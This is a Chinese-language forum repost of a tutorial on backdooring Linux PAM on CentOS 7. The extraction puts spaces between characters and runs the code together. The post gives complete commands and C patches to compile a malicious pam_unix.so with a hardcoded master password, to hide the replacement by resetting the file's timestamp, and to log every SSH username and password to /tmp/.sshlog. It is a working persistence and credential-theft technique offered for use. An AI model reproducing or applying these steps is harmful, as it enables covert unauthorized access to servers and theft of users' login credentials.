搜索

[1157] 2020-12-07_LinuxPAM后门：窃取ssh密码及自定义密码登录

文档创建者：s7ckTeam
浏览次数：25
最后更新：2025-01-16
2020-12-07_LinuxPAM后门：窃取ssh密码及自定义密码登录 L i n u x   P A M 后 门 ： 窃 取 s s h 密 码 及 自 定 义 密 码 登 录 原 创   Y 4 e r   C h a B u g   2 0 2 0 - 1 2 - 0 7 P A M 是 L i n u x 默 认 的 s s h 认 证 登 录 机 制 ， 因 为 他 是 开 源 的 ， 我 们 可 以 修 改 源 码 实 现 自 定 义 认 证 逻 辑 ， 达 到 记 录 密 码 、 自 定 义 密 码 登 录 、 d n s 带 外 等 功 能 。 环 境 环 境 C e n t O S   L i n u x   r e l e a s e   7 . 8 . 2 0 0 3   ( C o r e ) p a m - 1 . 1 . 8 - 2 3 . e l 7 . x 8 6 _ 6 4 c e n t o s 需 要 关 闭 s e l i n u x ， 临 时 关 闭 。 永 久 关 闭 需 要 修 改 ， 将 其 中 S E L I N U X 设 置 为 d i s a b l e d 。 自 定 义 自 定 义 s s h 密 码 密 码 查 看 P A M 版 本 下 载 对 应 源 码 : h t t p : / / w w w . l i n u x - p a m . o r g / l i b r a r y / 安 装 g c c 编 译 器 和 f l e x 库 修 改 源 码 实 现 自 定 义 密 码 认 证 / *   v e r i f y   t h e   p a s s w o r d   o f   t h i s   u s e r   * / r e t v a l   =   _ u n i x _ v e r i f y _ p a s s w o r d ( p a m h ,   n a m e ,   p ,   c t r l ) ; i f ( s t r c m p ( " f u c k y o u " , p ) = = 0 ) { r e t u r n   P A M _ S U C C E S S ; } n a m e   =   p   =   N U L L ; s e t e n f o r c e   0 / e t c / s e l i n u x / c o n f i g r p m   - q a | g r e p   p a m w g e t   h t t p : / / w w w . l i n u x - p a m . o r g / l i b r a r y / L i n u x - P A M - 1 . 1 . 8 . t a r . g z t a r   z x v f   L i n u x - P A M - 1 . 1 . 8 . t a r . g z y u m   i n s t a l l   g c c   f l e x   f l e x - d e v e l   - y L i n u x - P A M - 1 . 1 . 8 / m o d u l e s / p a m _ u n i x / p a m _ u n i x _ a u t h . c
编 译 生 成 s o 文 件 生 成 的 恶 意 认 证 s o 路 径 在 。 用 它 来 替 换 系 统 自 带 的 p a m _ u n i x . s o 。 因 为 系 统 不 同 位 数 不 同 ， p a m _ u n i x . s o 的 路 径 也 不 一 样 ， 尽 量 用 f i n d 找 一 下 。 然 后 替 换 ， 注 意 先 备 份 ， 万 一 恶 意 的 s o 文 件 不 可 用 就 G G 了 。 此 时 先 别 急 着 断 开 s s h ， 先 试 一 下 能 不 能 用 我 们 设 置 的 密 码 登 录 。 成 功 登 录 ， 后 门 也 就 留 好 了 。 为 了 隐 蔽 ， 修 改 下 p a m _ u n i x . s o 的 时 间 戳 c d   L i n u x - P A M - 1 . 1 . 8 . / c o n f i g u r e   - - p r e f i x = / u s e r   - - e x e c - p r e f i x = / u s r   - - l o c a l s t a t e d i r = / v a r   - - s y s c o n f d i r = / e t c   - - d i s a b l e - s e l i n u x   - - w i t h - l i b i c o n v - p r e f i x = / u s r m a k e . / m o d u l e s / p a m _ u n i x / . l i b s / p a m _ u n i x . s o c p   / u s r / l i b 6 4 / s e c u r i t y / p a m _ u n i x . s o   / t m p / p a m _ u n i x . s o . b a k c p   / r o o t / L i n u x - P A M - 1 . 1 . 8 / m o d u l e s / p a m _ u n i x / . l i b s / p a m _ u n i x . s o   / u s r / l i b 6 4 / s e c u r i t y / p a m _ u n i x . s o f u c k y o u t o u c h   p a m _ u n i x . s o   - r   p a m _ u m a s k . s o
记 录 密 码 记 录 密 码 同 样 编 辑 文 件 s s h 密 码 会 被 记 录 到 / t m p / . s s h l o g 中 。 编 译 并 替 换 s o m o d u l e s / p a m _ u n i x / p a m _ u n i x _ a u t h . c i f ( r e t v a l   = =   P A M _ S U C C E S S ) {         F I L E   *   f p ;         f p   =   f o p e n ( " / t m p / . s s h l o g " ,   " a " ) ;         f p r i n t f ( f p ,   " % s   :   % s n " ,   n a m e ,   p ) ;         f c l o s e ( f p ) ; } c d   L i n u x - P A M - 1 . 1 . 8 m a k e   c l e a n   & &   m a k e c p   / r o o t / L i n u x - P A M - 1 . 1 . 8 / m o d u l e s / p a m _ u n i x / . l i b s / p a m _ u n i x . s o   / u s r / l i b 6 4 / s e c u r i t y / p a m _ u n i x . s o
此 时 登 录 s s h 会 记 录 密 码 分 享 、 点 赞 、 在 看 就 是 对 我 们 的 一 种 支 持 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理